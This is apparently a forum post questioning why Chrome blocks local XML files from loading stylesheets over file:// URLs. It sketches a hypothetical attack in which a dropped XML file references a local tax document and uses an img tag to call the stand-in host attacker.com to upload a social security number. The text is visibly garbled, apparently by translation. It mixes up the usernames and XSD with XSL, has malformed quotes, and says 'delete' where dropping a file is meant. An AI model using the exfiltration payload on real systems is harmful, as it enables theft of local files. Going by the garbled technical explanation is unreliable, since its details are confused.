On the Chrome Bug page, a little decryption was required - they are very interested in not explaining what the problem is and why they chose to hack everyone and not break everyone.
Suppose I have an XML file - somewhere - on my hard drive, for example:
C: \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml
And the malicious object - somehow - managed to delete the malicious Xml file on my computer, for example:
C: \ Users \ Jan \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml
Imagine TrojanVirusWorm.xml contains instructions for processing style sheets ( PI ):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
The attacker then instructs my browser to navigate to the locally stored trojanVirusWorm.xml file.
There seems to be a way in which an XML file can read the contents of an XSD file (rather than being converted using an XSD file):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> <html> <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img> </html>
I do not understand how an XML file can read a stylesheet file. But the Chrome team assures us that this is dangerous and that it cannot be solved.
Every other browser has decided to do this. They decided it because it is not a problem .
Ian Boyd Dec 23 '15 at 16:26 2015-12-23 16:26
source share